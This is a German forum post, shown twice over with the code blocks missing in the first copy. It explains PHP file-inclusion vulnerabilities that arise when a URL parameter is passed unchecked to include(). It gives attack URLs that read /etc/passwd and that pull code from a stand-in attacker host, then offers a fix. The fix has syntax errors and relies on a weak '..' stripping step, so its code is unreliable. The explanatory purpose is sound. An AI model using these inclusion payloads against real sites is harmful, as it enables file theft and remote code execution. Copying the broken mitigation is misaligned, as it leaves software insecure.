nbkr
Guru
Hallo,
eine bestimmte Sicherheitslücke, welche man sich leider recht einfach bei der Programmierung mit PHP einfangen kann ist die sogenannte "Peter Huth" Sicherheitslücke. Peter Huth ist eine selbsternannter Securityexperte und gerade ihm ist diese Sicherheitslücke selbst mal unterlaufen. Doch zum eigentlichen Thema.
Die Sicherheitslücke entsteht, wenn man ungeprüft URL Parameter an include() weiterreicht. Ein Beispiel:
Dieser Code der normalerweise dafür gedacht ist mittest http://www.domain.de/index.php?content=startseite.php die Startseite (oder jede andere Seite des Internetauftritts) anzuzeigen kann sehr leicht ausgenutzt werden.
Bespielsweise muss ein Angreifer nur http://www.domain.de/index.php?content=/etc/passwd eintippen um sich die Benutzerdatei des Webservers anzeigen zu lassen. Auf diese Weise kann der Angreifer jede (!) Datei anzeigen lassen, denn PHP macht daraus ein
Außerdem kann der Angreifer auch eigene Code von der Seite ausführen lassen. Dazu erstellt er eine Textdatei auf seinem Server mit z.B. dem Inhalt
Und lässt diese Seite über http://www.domain.de/index.php?content=http://www.angreifer.de/boesercode.txt
einbauen. Die Datei wird includiert und der Inhalt wird als Sourcecode
ausgeführt. In diesem Fall würde zwar nur den Quellcode der angegriffenen
Seite angezeigt, aber man kann das ja beliebig erweitern.
Deshalb sollte man jeden URL Parameter (eigentliche jede Variable die vom Benutzer kommt) eingehenst prüfen. Für obiges wäre folgendes eine Lösung:
Man kann (und sollte) das Beispiel noch erweitern, in dem man die Contentdaten in einen Unterordner packt und nur Daten aus diesem Ordner includet. Außerdem kann das Script noch so erweitern, dass die Endung
.php nicht übergeben werden muss und man dieses im Script hinzugefügt
wird. Dadurch wird die Sicherheit noch ein wenig erhöht.
eine bestimmte Sicherheitslücke, welche man sich leider recht einfach bei der Programmierung mit PHP einfangen kann ist die sogenannte "Peter Huth" Sicherheitslücke. Peter Huth ist eine selbsternannter Securityexperte und gerade ihm ist diese Sicherheitslücke selbst mal unterlaufen. Doch zum eigentlichen Thema.
Die Sicherheitslücke entsteht, wenn man ungeprüft URL Parameter an include() weiterreicht. Ein Beispiel:
Code:
include $_GET[''content'];
Dieser Code der normalerweise dafür gedacht ist mittest http://www.domain.de/index.php?content=startseite.php die Startseite (oder jede andere Seite des Internetauftritts) anzuzeigen kann sehr leicht ausgenutzt werden.
Bespielsweise muss ein Angreifer nur http://www.domain.de/index.php?content=/etc/passwd eintippen um sich die Benutzerdatei des Webservers anzeigen zu lassen. Auf diese Weise kann der Angreifer jede (!) Datei anzeigen lassen, denn PHP macht daraus ein
Code:
include /etc/passwd;
Außerdem kann der Angreifer auch eigene Code von der Seite ausführen lassen. Dazu erstellt er eine Textdatei auf seinem Server mit z.B. dem Inhalt
Code:
show_source();
Und lässt diese Seite über http://www.domain.de/index.php?content=http://www.angreifer.de/boesercode.txt
einbauen. Die Datei wird includiert und der Inhalt wird als Sourcecode
ausgeführt. In diesem Fall würde zwar nur den Quellcode der angegriffenen
Seite angezeigt, aber man kann das ja beliebig erweitern.
Deshalb sollte man jeden URL Parameter (eigentliche jede Variable die vom Benutzer kommt) eingehenst prüfen. Für obiges wäre folgendes eine Lösung:
Code:
//Als erstes .. aus dem Parameter entfernen damit man nit
//mit /../../../etc/passwd in höhrer Ordner kommt.
$_GET['content'] = str_replace('..', '', $_GET['content']);
//Jetzt prüfen ob die übergebene Datei wirklich in diesem Ordner ist.
if (file_exists('./' . $_GET['content')) {
include './' . $_GET['content'];
} else {
//Seite lokal nicht gefunden -> Startseite anzeigen
include './startseite.php';
}
Man kann (und sollte) das Beispiel noch erweitern, in dem man die Contentdaten in einen Unterordner packt und nur Daten aus diesem Ordner includet. Außerdem kann das Script noch so erweitern, dass die Endung
.php nicht übergeben werden muss und man dieses im Script hinzugefügt
wird. Dadurch wird die Sicherheit noch ein wenig erhöht.